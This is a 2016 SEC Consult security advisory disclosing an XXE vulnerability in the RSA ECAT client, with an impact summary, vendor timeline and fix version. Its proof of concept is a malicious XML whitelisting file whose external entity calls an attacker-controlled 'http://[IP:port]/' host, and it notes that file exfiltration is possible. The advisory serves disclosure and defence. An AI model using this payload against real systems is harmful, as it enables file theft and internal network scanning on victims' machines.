SEC Consult Vulnerability Lab Security Advisory < 20161011-0 >
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title: XML External Entity Injection (XXE)
product: RSA Enterprise Compromise Assessment Tool (ECAT)
vulnerable version: 4.1.0.1
fixed version: 4.1.2.0
CVE Number: -
impact: Medium
homepage: www.rsa.com
found: 2016-04-27
by: Samandeep Singh (Office Singapore)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult
Bangkok - Berlin - Linz - Montreal - Moscow
Singapore - Vienna (HQ) - Vilnius - Zurich
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Vendor description:
-------------------
"RSA provides more than 30,000 customers around the world with the essential security
capabilities to protect their most valuable assets from cyber threats. With RSA's
award-winning products, organizations effectively detect, investigate, and respond to
advanced attacks; confirm and manage identities; and ultimately, reduce IP theft, fraud,
and cybercrime."
Source: www.rsa.com/en-us/company/about
Business recommendation:
------------------------
By exploiting the XXE vulnerability, an attacker can get read access to the
filesystem of the user's system using RSA ECAT client and thus obtain sensitive
information from the system. It is also possible to scan ports of the internal
hosts and cause DoS on the affected host.
SEC Consult recommends not to use the product until a thorough security
review has been performed by security professionals and all identified
issues have been resolved.
Vulnerability overview/description:
-----------------------------------
1) XML External Entity Injection
The used XML parser is resolving external XML entities which allows attackers
to read files and send requests to systems on the internal network (e.g port
scanning). The vulnerability can be exploited by tricking the user of
the application to import a whitelisting file with malicious XML code.
Proof of concept:
-----------------
1) XML External Entity Injection (XXE)
The RSA ECAT client allows users to import whitelisting files in XML format.
By tricking the user to import an XML file with malicious XML code to the
application, it's possible to exploit an XXE vulnerability within the application.
For example by importing the following XML code, arbitrary files can be read
from the client's system. The following code generates the connection request
from the client system to attacker system.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://[IP:port]/" >]><foo>&xxe;</foo>
IP:port = IP address and port where the attacker is listening for connections
Furthermore some files can be exfiltrated to remote servers via the
techniques described in:
media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-wp.pdf
vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf
Vulnerable / tested versions:
-----------------------------
The XXE vulnerability has been verified to exist in the RSA ECAT software
version 4.1.0.1 which was the latest version available at the time of
discovery.
Vendor contact timeline:
------------------------
2016-04-28: Vulnerabilities reported to the vendor by 3rd party
2016-06-23: Fixed by vendor in version 4.1.2 (ECAT-5972)
2016-10-11: SEC Consult releases security advisory
Solution:
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Update to version 4.1.2.0
Workaround:
-----------
None
Advisory URL:
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www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm
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SEC Consult Vulnerability Lab
SEC Consult
Bangkok - Berlin - Linz - Montreal - Moscow
Singapore - Vienna (HQ) - Vilnius - Zurich
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.
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EOF S. Singh / @2016